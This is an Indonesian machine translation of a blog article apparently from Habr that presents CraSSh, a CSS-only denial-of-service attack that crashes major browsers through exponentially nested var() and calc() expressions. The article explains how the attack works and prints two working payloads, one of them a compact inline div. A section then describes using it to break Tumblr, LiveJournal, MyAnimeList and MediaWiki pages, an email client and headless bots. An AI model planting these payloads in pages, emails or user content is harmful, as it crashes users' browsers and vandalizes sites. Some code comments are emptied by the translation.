CraSSh: memecah semua browser modern dengan perhitungan CSS

Penulis artikel: Konstantin Safonov

Saya tidak ingin membaca obrolan teknis ini. Peramban saya baru saja jatuh.

Apa itu CraSSh?


CraSSh adalah cross-browser serangan DoS murni deklaratif berdasarkan penanganan miskin fungsi var() dan calc() CSS di browser modern.

CraSSh bekerja di semua browser utama di desktop dan perangkat seluler:

  • Mesin WebKit / Blink - Chrome, Opera, Safari, bahkan Samsung Internet di TV pintar dan lemari es.
    • Android WebView, iOS UIWebView juga terpengaruh, yaitu, Anda dapat merusak aplikasi apa pun dengan browser bawaan.
  • Di mesin Gecko - Firefox dan forks-nya, seperti Tor Browser.
    • Servo tidak memulai pada salah satu mesin saya, jadi saya tidak mengujinya.
  • Pada mesin EdgeHTML - Edge pada Windows, WebView pada aplikasi UWP (apakah ada yang menggunakannya sama sekali?)

Peramban IE tidak terpengaruh, karena tidak mendukung fungsi yang menjadi dasar serangan, tetapi para penggunanya memiliki banyak masalah sendiri (mungkin peramban ini dapat dihancurkan dengan cara lain - kira-kira Per.) .

Bagaimana cara kerjanya


Ide CraSSh adalah untuk membuat browser menghitung properti CSS dengan panggilan variabel bersarang dalam waktu eksponensial dan dengan penggunaan memori yang besar.

Serangan bergantung pada tiga fitur CSS:

Variabel CSS ( properti khusus dan var () )

Mereka memungkinkan Anda untuk mendeklarasikan: menetapkan dan membaca variabel:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


Variabel tidak memungkinkan rekursi (meskipun ada bug di WebKit yang menyebabkan rekursi tak terbatas) atau loop, tetapi mereka dapat didefinisikan sebagai

ekspresi calc ()

Ekspresi calc () memungkinkan Anda untuk melakukan beberapa operasi aritmatika dasar saat menjelaskan aturan, misalnya, 'width: calc(50% - 10px)' .

calc() memungkinkan Anda untuk referensi variabel dan menggunakan beberapa nilai dalam satu ekspresi:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


Ini memungkinkan:

  • meningkatkan perhitungan di setiap ekspresi calc() secara linear dengan menambahkan referensi ke variabel sebelumnya;
  • secara eksponensial meningkatkan kompleksitas dengan setiap deklarasi variabel dengan ekspresi calc() yang merujuk variabel terkomputasi lainnya:

 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


Sepertinya itu harus dihitung selama waktu eksponensial, tetapi browser modern sedikit lebih pintar, sehingga mereka biasanya menghitung nilai-nilai variabel sekali, mengurangi kompleksitas menjadi linier. Kuncinya adalah bahwa caching nilai variabel tidak terjadi jika ada

makna heterogen

Secara teknis, ini adalah bagian dari calc() , tetapi pantas disebutkan secara khusus. Variabel heterogen berisi satuan absolut dan relatif. Dia tidak mungkin:

  • dihitung sebagai nilai absolut dan dibagikan oleh berbagai aplikasi untuk berbagai elemen, karena itu tergantung pada properti elemen target (unit '%' / 'em' );
  • dihitung sebagai nilai absolut dalam satu aplikasi, karena dalam beberapa kasus ini akan mengarah pada akumulasi kesalahan pembulatan yang menyebabkan offset subpixel aneh yang melanggar tata letak kompleks (apakah Anda memiliki 12 kolom, masing-masing 1/12 dari lebar layar? Tidak beruntung, sobat, mereka akan datang bersama-sama di baris baru atau tinggalkan celah canggung di akhir).

Dengan demikian, nilai ini dihitung ulang setiap kali:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

Adapun poin kedua, sebagian besar browser hanya menanamkan variabel bersarang dengan nilai heterogen dalam ekspresi tunggal untuk menghindari kesalahan pembulatan:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

Bayangkan ada jutaan (atau milyaran) elemen dalam ekspresi ... Mesin CSS sedang mencoba mengalokasikan beberapa gigabytes RAM, kurangi ekspresi, tambahkan event handler sehingga properti dapat dihitung ketika sesuatu berubah. Pada akhirnya, ini terjadi pada tahap tertentu.

Jadi, CraSSh asli terlihat:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

Dan di sini adalah versi built-in kurang dari 1000 karakter (MediaWiki untuk demonstrasi).

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

Bagaimana cara menggunakannya


Selain mengusir pengguna dari situs atau blog mereka sendiri pada platform yang memberikan akses penuh ke HTML, seperti Tumblr ( contohnya dengan browser crash ) atau LiveJournal ( contoh dengan browser crash ), CraSSh memungkinkan Anda untuk:

  • Hancurkan UI pada halaman-halaman situs yang berada di bawah kendali Anda dan memungkinkan Anda untuk menentukan CSS sewenang-wenang, bahkan tanpa menyediakan templat HTML. Saya berhasil memecah MyAnimeList ( contohnya dengan browser crash ). Reddit tidak terpengaruh oleh serangan ini karena parsernya tidak mendukung variabel CSS.
  • Hancurkan UI pada halaman yang dapat diakses publik dan dapat diakses oleh publik yang memungkinkan Anda untuk menyematkan beberapa tag HTML dengan gaya sebaris. Di Wikipedia, akun saya dilarang karena vandalisme, meskipun saya memposting contoh dengan kegagalan browser di halaman pribadi saya. Serangan itu memengaruhi sebagian besar proyek berbasis MediaWiki. Pada prinsipnya, halaman yang rusak tidak lagi dapat dipulihkan melalui UI.
  • Menyebabkan klien email yang mendukung HTML

    • Ini cukup sulit karena klien email menghapus / mengurangi HTML dan biasanya tidak mendukung fitur CSS modern yang digunakan CraSSh
    • CraSSh bekerja di

      • Samsung Mail untuk Android
    • CraSSh tidak berfungsi

      • Outlook (web)
      • Gmail (web)
      • Gmail (Android)
      • Yahoo (web)
      • Yandex (web)
      • Protonmail (web)
      • Zimbra (web, instalasi offline)
      • Windows Mail (Windows jelas)
    • Harus bekerja

      • Outlook untuk Mac (menggunakan Webkit secara internal)
    • Lainnya belum diuji.
  • Saya baru saja mendapat ide sakit bahwa CraSSh dapat digunakan terhadap bot berdasarkan CEF / PhantomJS. Situs yang diserang dapat menyuntikkan kode CraSSh dengan header ( seperti di sini ), dan tidak menampilkan kesalahan 403 yang biasa. IIRC, kesalahan ditangani secara berbeda di mesin yang disematkan, oleh karena itu

    • ini mungkin akan menyebabkan bot mogok (tidak ada yang mengharapkan stack overflow atau sesuatu di browser tanpa kepala)
    • sangat sulit untuk di-debug, karena bahkan tidak muncul di badan jawaban, yang kemungkinan besar akan masuk ke log


Mengapa ini dilakukan?


  • Ingat posting Linus itu?

    Tampaknya dunia keamanan TI telah mencapai titik terendah yang baru.

    Jika Anda bekerja dengan aman dan berpikir bahwa Anda memiliki hati nurani, maka saya pikir Anda dapat menulis:

    "Tidak, sungguh, aku bukan pelacur. Jujur, jujur ​​”

    pada kartu namanya. Dulu saya berpikir bahwa seluruh industri busuk, tetapi ini sudah menjadi konyol.

    Pada titik apa orang-orang keamanan mengakui bahwa mereka suka menarik perhatian pada diri mereka sendiri?

    Saya melangkah lebih jauh dan membuat seluruh situs yang didedikasikan untuk bug sederhana, karena kesenangan bekerja sampai jam 4 pagi dan perhatian pada hasil yang dicapai adalah beberapa hal yang membuat saya dari depresi dan menyelam ke trotoar cantik di depan kantor ini.
  • Selain itu, saya benci frontend, yang merupakan bagian dari pekerjaan saya sebagai pengembang fullstack, dan hal-hal semacam itu membantu saya sedikit rileks.

Hal serupa


Sekarang saya berpartisipasi dalam proyek yang luar biasa, yang akan kita bicarakan nanti. Ikuti kami di Twitter .

Terima kasih khusus


Source: https://habr.com/ru/post/id431656/


All Articles